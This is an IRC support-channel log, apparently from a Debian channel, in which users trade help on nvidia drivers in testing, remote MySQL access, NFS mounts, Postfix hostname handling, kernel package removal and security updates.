| 23:09.00 | karsten | Bac9: Hrm. |
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| 23:09.01 | K_Dallas | dvs so i could start from it on a new system |
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| 23:09.08 | dvs | K_Dallas: yes |
| 23:09.10 | rcbarnes | I just upgraded from etch to testing, but my nvidia's broken. According to the debian wiki (which I've thouroughly examined on this topic, now) I should have /usr/lib/xorg/modules/nvidia_drv.so. I do not, when (as it suggests) I try gcc -shared nvidia_drv.o -o nvidia_drv.so (yes, nvidia_drb.o exists), gcc craps out on me saying 'relocation R_X86_64_32S against 'a local symbol' can not be used when making a shared object, then it adds some fl |
| 23:09.13 | K_Dallas | dvs thank you |
| 23:09.20 | abrotman | K_Dallas: r1 is the second revision |
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| 23:09.38 | K_Dallas | abrotman, i always wondered but didnt dare to ask ;) thanks |
| 23:09.43 | rmaj | damn |
| 23:09.45 | dvs | No, it's the second VERSION |
| 23:09.53 | rmaj | that video forced to me hard reboot the system :/ |
| 23:09.55 | abrotman | K_Dallas: r2 will be the third revision |
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| 23:09.59 | jelly-home | Bac9: if they're all "en_US.UTF-8", then you're obviously not using C |
| 23:10.01 | stew | abrotman: if you count r0 as a revision which didn't revise anything |
| 23:10.05 | Bac9 | karsten: oh, weird, it was aparently a missing `export` |
| 23:10.07 | abrotman | dvs: i wouldn't really call it a "version" |
| 23:10.13 | abrotman | stew: i would .. i guess |
| 23:10.15 | dondelelcaro | dvs: the r stands for revision |
| 23:10.25 | dondelelcaro | (or release) |
| 23:10.25 | Bac9 | jelly-home: `set` was reporting C but locale was reporting en_US.UTF-8 |
| 23:10.33 | karsten | Bac9: There you go. |
| 23:10.34 | dvs | dondelelcaro: yeah, so r1 is the FIRST revision |
| 23:10.36 | abrotman | stew: but you know .. i'm all messed in the head :) |
| 23:10.57 | dondelelcaro | dvs: depends, it could be the second revision, but revision 1 |
| 23:11.00 | rcbarnes | Nvidia help, anyone? Please? |
| 23:11.05 | dvs | ??? |
| 23:11.09 | odesk_ | how i allow remote connection to my vps mysql on Etch? from my local pc |
| 23:11.13 | Bac9 | karsten: hm, I wonder why it requires an export now? or maybe the system locale changed? weird |
| 23:11.15 | rcbarnes | Is nvidia broken in testing right now, or what? |
| 23:11.20 | sander_ | karsten, thanks.. but it seems like I have a broken disk.. so kill dosnt kill those processes.. |
| 23:11.21 | abrotman | rcbarnes: yes |
| 23:11.27 | dondelelcaro | dvs: this is just like the first debconf was debconf 0. |
| 23:11.31 | rcbarnes | abrotman: damn. |
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| 23:11.39 | rcbarnes | abrotman: so how do I fix that? |
| 23:11.52 | rmaj | wow... now it works :) |
| 23:11.52 | abrotman | rcbarnes: write nVidia an email and ask them to release specs? :) |
| 23:11.57 | rmaj | althoug the first reboot really sucked |
| 23:12.01 | Bac9 | karsten: thank you for pointing me in right direction |
| 23:12.05 | rcbarnes | abrotman: yes, yes, I know the drill. |
| 23:12.06 | rmaj | s/reboot/horrible hangup + reset |
| 23:12.13 | dondelelcaro | dvs: ordinals are (almost) always one indexed; cardinals depends on the system |
| 23:12.17 | karsten | sander_: Yeah, that can be a problem, blocked IO is unkillable. Get that disk taken care of, check your backups. |
| 23:12.20 | karsten | Bac9: NP. |
| 23:12.25 | stew | odesk_: have it bind to a public ip using the bind-address option in the config file, then issue a grant statement to allow a particular mysql user to connect from some remote ip (read on mysql's site about grant) |
| 23:12.32 | rcbarnes | abrotman: Assume I have and they gave me the finger. What do I do now> |
| 23:12.52 | Kobaz | so i'm trying to mount an nfs export... i get mount.nfs: test:/home failed, reason given by server: Permission denied... on the server syslog I see: authenticated mount request... which I assume means it allowed the mount... anyone have any ideas? |
| 23:13.13 | abrotman | rcbarnes: i think the current solution is to grab kernel+nvidia-junk from sid ? |
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| 23:13.22 | jelly-home | stew: or ssh -L 3306:localhost:3306 |
| 23:13.25 | rcbarnes | abrotman: besides, they can't release specs, a combination of NDAs and patent infringements fully obstruct that possibility. |
| 23:13.41 | abrotman | rcbarnes: they could .. |
| 23:13.43 | karsten | Kobaz: Do you have all services running both client and server? |
| 23:13.50 | rdz | hi all. is there someway to check the mbr, when the system is running? |
| 23:14.00 | stew | odesk_: jelly-home wwants you to know you could also tunnel mysql connections over an ssh connection |
| 23:14.22 | Kobaz | karsten: pretty sure... but that would cause a permission denied? |
| 23:14.41 | rcbarnes | abrotman: and ATI (and the other end of the NDAs) would bankrupt them. I disagree with their decision, but it's the only one a heartless profit machine could make. :-P |
| 23:15.21 | odesk_ | stew: i tried to tunnel it using SSH, while i tunnel other vps |
| 23:15.44 | jae | rcbarnes: are you an nVidia insider? Or how come you know about "patent infringements"? (If you are an insider, prepare to get fired ;) |
| 23:15.50 | odesk_ | stew: but this on on Etch and i don't know why my root user/pass not grant me access |
| 23:15.59 | jelly-home | rcbarnes: we'll see if ati's choice of publishing the specs will have any visible business effects |
| 23:16.04 | rmaj | yey, my radeon + LCD work fine! \o/. |
| 23:16.09 | rcbarnes | abrotman: so, this kernel+nvidia-junk, is that a package? Do I backport it? |
| 23:16.25 | stew | odesk_: can you connect using your root user/pass when you connect from localhost? |
| 23:16.30 | abrotman | rcbarnes: i don't buy nvidia stuff .. but i'd guess the nvidia-* packages and the kernel |
| 23:16.33 | benkong2 | err. can dnsmasq and bind exist on the same system? My home server has bind9 installed already and I want to add DNS for my local LAN? |
| 23:16.34 | rcbarnes | jae: I'm not, though I know someone who is. |
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| 23:17.04 | odesk_ | stew: no, i can't .. but on other vps i can through ssh tunnel |
| 23:17.10 | jae | Just wondering... because I can't believe nVidia wants it know that they infringed on patents ;) |
| 23:17.16 | rcbarnes | jelly-home: I'd be ecstatic if ATI published their specs, but haven't they been promising that for almost a year now, without any progress? |
| 23:17.28 | stew | odesk_: is it bound to port 3306? (/msg dpkg open ports) |
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| 23:17.37 | rcbarnes | jae: I can say it because, as hearsay, it's inadmissable. |
| 23:17.39 | stew | odesk_: or what is the error you get when you try to connect on localhost? |
| 23:17.40 | karsten | Kobaz: NFS error messages tend to be markedly less than clear. |
| 23:17.40 | dvs | rcbarnes: they have new owners now so it might be a possibility |
| 23:17.43 | abrotman | rcbarnes: uhm .. they did .. at least partially |
| 23:17.50 | jelly-home | rcbarnes: no, they've published 2D specs for the latest gen and 3D will be out soonish |
| 23:18.19 | rcbarnes | jelly-home: That actually happened? I must have missed that news. |
| 23:18.33 | xpato | anyone knows how to enable passtrough printing with xterm? |
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| 23:18.45 | stew | rcbarnes: they published an open source 2d driver a long time ago |
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| 23:19.05 | Wyzard | OK, general Unix/Linux best-practices question... is a machine's hostname (as defined in /proc/sys/kernel/hostname, or the "hostname" command without "--fqdn"), supposed to contain an FQDN ("foo.bar.com") or just a simple name ("foo") ? |
| 23:19.17 | rcbarnes | stew: one that works with the latest cards? |
| 23:19.45 | jelly-home | rcbarnes: yeah, there's already a free 2d driver for x.org using the data. video-radeonhd afair |
| 23:19.48 | stew | rcbarnes: i don't know what the latest cards are. 'man nv' should say what it supp;orts |
| 23:19.50 | xpato | join /#redhat |
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| 23:21.31 | Codenut | How do I netword boot from another machine to install etch on my PII 400mhz 256 RAM Dell notebook? |
| 23:21.50 | jelly-home | Wyzard: depends on the OS :-) On Debian, probably not (just the hostname) |
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| 23:22.28 | stew | rcbarnes: it looks like it supports G80 G84 G86 as the latest |
| 23:22.39 | dvs | G88? |
| 23:22.40 | Codenut | darn |
| 23:22.42 | struct | anyone know of a program that will resize a bunch of images at once? |
| 23:23.02 | abrotman | Codenut: there are a few howtos on this |
| 23:23.08 | abrotman | struct: imagemagick |
| 23:23.17 | struct | abrotman: ok thanks |
| 23:23.19 | jae | rcbarnes: inadmissible, sure, you need proof in a court of law. But... admitting is *always* bad, even indirectly, because it might make "others" eager to get the facts. "others" being those who could suspect their patents having been used |
| 23:23.25 | jelly-home | Wyzard: on older Solaris releases (seen it on machines with cca 2.4 - 2.6), there were some benefits to setting it to fqdn, but even then it was basically broken |
| 23:23.39 | Codenut | abrotman, may we direct chat? |
| 23:23.44 | abrotman | no |
| 23:23.48 | rcbarnes | jae: The funny thing is, ATI is believed to have the exact same issue, actually. |
| 23:24.04 | jelly-home | jae: could be those are just the facts of the industry in question, everyone infringing on everyone else |
| 23:24.07 | Codenut | ok, forget my ignorance, if I was. |
| 23:24.08 | jae | And it just *might* be enough to convince some judge to demand documents from nVidia |
| 23:24.15 | abrotman | Codenut: you can ask everyone |
| 23:24.25 | Wyzard | jelly-home: That's what I figured, and I've never liked the idea of a system being associated with a single "domain name" since there can be multiple names in DNS that all point to the same host |
| 23:24.33 | Codenut | good, no offense then |
| 23:24.49 | rcbarnes | So they both (presumably) pretend to know nothing about the other's offense and refuse to be the first to step forward and take the legal beating. |
| 23:25.01 | Codenut | so I guess I google imagemagik and start from there |
| 23:25.09 | Wyzard | jelly-home: but it's leading to some stupid behavior from Postfix: to figure out the machine's FQDN, it calls gethostname() |
| 23:25.18 | jae | Well, it's sorta fact that with the number of software (and other dubious kinds of) patents registered in the US, it's hard to do any serious work with*out* stepping on some patented toes |
| 23:25.32 | rcbarnes | screw that binary driver |
| 23:25.34 | Wyzard | jelly-home: and if the result doesn't look like an FQDN, it appends the domain name specified in the config file, which defaults to "localdomain" if not actually specified in the config file |
| 23:25.45 | abrotman | Codenut: uhm .. you asked about netboot ? |
| 23:25.56 | Wyzard | jelly-home: so postfix ends up thinking the machine's domain is "localdomain" on Debian even though "hostname --fqdn" returns the correct string |
| 23:25.57 | jelly-home | Wyzard: on Debian, set /etc/mailname |
| 23:25.57 | rcbarnes | ...such a pain. I'll live with no video games until the nv is finished instead. |
| 23:26.14 | jae | Though, to me, this "there's patented stuff in there" sound more like an excuse (for "oh, we don't really have specs that are any good for outsiders") |
| 23:26.23 | Codenut | yes, netboot is the sort of idea I am trying to grasp. |
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| 23:26.36 | jelly-home | Wyzard: what does the /etc/hosts line for the host look like? |
| 23:26.40 | Wyzard | jelly-home: That's a different setting... that defines what domain outgoing mail appears to originate from, which is distinct from the machine's own FQDN |
| 23:27.19 | Wyzard | jelly-home: /etc/hosts contains the 127.0.0.1 and 127.0.1.1 lines that are put there by default, and nothing else except the IPv6 loopback stuff |
| 23:27.32 | Wyzard | jelly-home: This is a clean install of etch with an out-of-the-box installation of postfix |
| 23:27.43 | Codenut | I am off to google netboot, thanks gang much obliged. especially abrotman |
| 23:27.46 | jelly-home | Wyzard: ah. why don't you have ip.ad.re.ss host.domain host in there? |
| 23:27.51 | abrotman | Codenut: imagemagick has nothing to do with your question :) |
| 23:28.00 | abrotman | okay then |
| 23:28.51 | weld | how can i delete all marks in a buffer? |
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| 23:29.01 | Wyzard | jelly-home: because I'd rather avoid hard-coding IPs all over (and in this case it happens to be dynamic), and it shouldn't be necessary -- "hostname --fqdn" manages to figure out the right FQDN |
| 23:29.04 | marcz908 | how do i change the timezone on my system? |
| 23:29.20 | weld | ups wrong channel lol :) |
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| 23:29.27 | Wyzard | jelly-home: I have 127.0.1.1 host.domain host |
| 23:29.30 | irule | http://lartc.org/lartc.html @ "Chapter 4. Rules - routing policy database" says: "If you want to use this feature, make sure that your kernel is compiled with the "IP: advanced router" and "IP: policy routing" features." ...great, so; how? :s thanks! |
| 23:29.55 | Wyzard | jelly-home: and "hostname --fqdn" uses that to figure out the FQDN correctly... but postfix doesn't even look at that, and just expects gethostname() to return an entire FQDN |
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| 23:34.33 | jelly-home | Wyzard: yeah, I see. You could report it or shrug and set $myhostname |
| 23:35.15 | jelly-home | ltrace hostname -f --> gethostname() then gethostbyname() |
| 23:35.35 | Wyzard | jelly-home: I'll work around it for now by setting $mydomain, since postfix appends that to the short hostname to construct an FQDN if gethostname() doesn't return an FQDN (though this is undocumented) |
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| 23:35.50 | Wyzard | jelly-home: I've been using ltrace and strace already |
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| 23:36.38 | Wyzard | jelly-home: What's *supposed* to happen, according to the docs, is that postfix somehow determines the FQDN to use as "myhostname", then strips off the first component to get a value for "mydomain" |
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| 23:37.12 | Wyzard | jelly-home: What isn't mentioned in the docs is that the way the FQDN is obtained is simply by calling gethostname(), and if that doesn't return something that looks like an FQDN, it appends the value of "mydomain" |
| 23:37.21 | abrotman | Wyzard: i don't remember offhand .. but i thought there was a way to feed postfix a command for those vars |
| 23:37.47 | Wyzard | jelly-home: which hasn't actually been defined yet -- it's supposed to be derived *from* myhostname, not used to generate it -- but it appears to default to "localhost" at this point |
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| 23:38.39 | Wyzard | abrotman: yeah, I can just define mydomain manually in postfix's main.cf and that'll work around the problem |
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| 23:39.03 | abrotman | Wyzard: no .. like i thought you could do something like $myhostname = `cat /etc/blah` or whatever |
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| 23:39.26 | jelly-home | abrotman: more a matter of sane defaults than solving it any way possible |
| 23:39.29 | Wyzard | but it's a stupid behavior -- essentially, the values of mydomain and myhostname are undefined on a machine where gethostname() doesn't return an FQDN, and they just happen to use "localhost" as an undocumented implementation detail |
| 23:40.02 | abrotman | Wyzard: it was more alluding your original goal of using as few conf files as possible for hostnames etc |
| 23:40.13 | Wyzard | What's weird is that there's a comment in the source code saying that gethostname() is used instead of "the more politically-correct uname() routine" because "that has no portable way of dealing with long (FQDN) hostnames" |
| 23:40.27 | Wyzard | as if gethostname() *is* supposed to deal with FQDNs |
| 23:41.12 | Wyzard | abrotman: If it supports running external commands, I guess setting myhostname=`hostname --fqdn` would be a better workaround, so you're right |
| 23:41.21 | Wyzard | but this is definitely deserving of a bug report |
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| 23:41.32 | abrotman | Wyzard: but i also might be misremembering ... |
| 23:42.06 | Wyzard | At any rate, working around the issue isn't a problem... I'm just complaining about the stupid default behavior |
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| 23:42.17 | jelly-home | "The GNU C library implements gethostname() as a library function that calls uname(2)" ... what did you say, comment in app. source code? |
| 23:42.35 | Wyzard | jelly-home: yeah, in src/util/get_hostname.c in postfix |
| 23:43.05 | Wyzard | There seems to be a lot of confusion around the idea of canonical hostnames and domain names in Unix |
| 23:43.21 | Wyzard | between this and the debates over the correct entries to put in /etc/hosts |
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| 23:43.59 | Wyzard | and it doesn't even make sense to talk about "the FQDN" of a machine that has three different names in DNS |
| 23:44.28 | jelly-home | Wyzard: more fun would be if you also had 3 PTR records for the same ip :-) |
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| 23:49.13 | skuark | hi. i'm goint to install debian lenny with the netinstall cd but i have a question... when you select to install "Desktop Enviroment", what is the default desktop environment? Debian or KDE? |
| 23:49.25 | skuark | going* |
| 23:49.40 | skuark | ups, Gnome* |
| 23:49.45 | abrotman | likely gnome |
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| 23:50.11 | abrotman | skuark: you can choose none .. then when it's done .. aptitude install xorg kde kdm |
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| 23:52.27 | nootoyahora | I have got left in my machine a 2.2 kernel, I'm NOT using it. My debian is testing and the kernel-image-2.2 package is gone from the package lists.. can I remove the kernel by hand safely? or cannot? |
| 23:52.33 | skuark | abrotman ok, thanks a lot, i've been searching for it but I haven't found nothing |
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| 23:53.29 | abrotman | nootoyahora: aptitude purge or dpkg -P |
| 23:53.53 | nootoyahora | abrotman, the problem ois that it doesn't exist the package anymore... |
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| 23:54.13 | abrotman | nootoyahora: it's not a debian kernel ? |
| 23:54.53 | nootoyahora | abrotman, yes, it is a deebia nkrnel, but if I do "apt-cache search 2.2 | grep kernel | grep image" (or similar) it does not exist |
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| 23:55.23 | abrotman | nootoyahora: dpkg -l kernel-image-* .. see it ? |
| 23:56.09 | Wyzard | oh wow... this same postfix bug was reported exactly four years ago, to the day |
| 23:56.12 | Wyzard | http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=214741 |
| 23:56.22 | rmaj | how to check security upgrades on testing? |
| 23:56.25 | nootoyahora | abrotman, er heheheheehehe thanks (why apt-cache searche 2e.2e |e grp okernel doesn't return it?) |
| 23:56.32 | abrotman | Wyzard: by you ? :) |
| 23:56.33 | rmaj | i.e. I run a server and need to check what should be upgraded for security |
| 23:56.37 | Wyzard | no, by someone else |
| 23:56.41 | abrotman | nootoyahora: because you can't install it anymore |
| 23:56.43 | Wyzard | just a surprising coincidence that the date is the same |
| 23:56.46 | stew | nootoyahora: becuase its no longer available from the sources configured in your /etc/apt/sources.list |
| 23:56.47 | abrotman | !testing security |
| 23:56.48 | dpkg | Put "deb http://security.debian.org lenny/updates main contrib non-free" in your /etc/apt/sources.list file. Regularly update your APT index and upgrade (e.g. # aptitude update && aptitude dist-upgrade) to keep up-to-date on security updates in Lenny. |
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| 23:57.21 | nootoyahora | stew oh thank you ( did not know that) |
| 23:57.29 | rmaj | abrotman: yes, but how to see a list of what packages must be upgraded for security reasons |
| 23:57.38 | rmaj | abrotman: isnt stable beeter for testing? |
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| 23:58.13 | stew | rmaj: http://security.debian.org will tell you which packages have had security upgrades |
| 23:58.37 | abrotman | rmaj: stable better for testing ? |
| 23:58.43 | rmaj | for server |
| 23:58.52 | rmaj | I misstyped a bit |
| 23:58.53 | stew | rmaj: yes, stable is the only sane choice for a server |
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| 23:58.53 | abrotman | stable is good for servers .. testing is not as good |
| 23:59.00 | abrotman | well .. testing really isn't good at all |
| 23:59.15 | rmaj | even testing is quite old on the other hand\ |
| 23:59.22 | abrotman | it is ? |
| 23:59.38 | rmaj | in example gstreamer have big issues mplaying mpeg4 / H264 |
| 23:59.47 | rmaj | it was fixed last 2-3 months |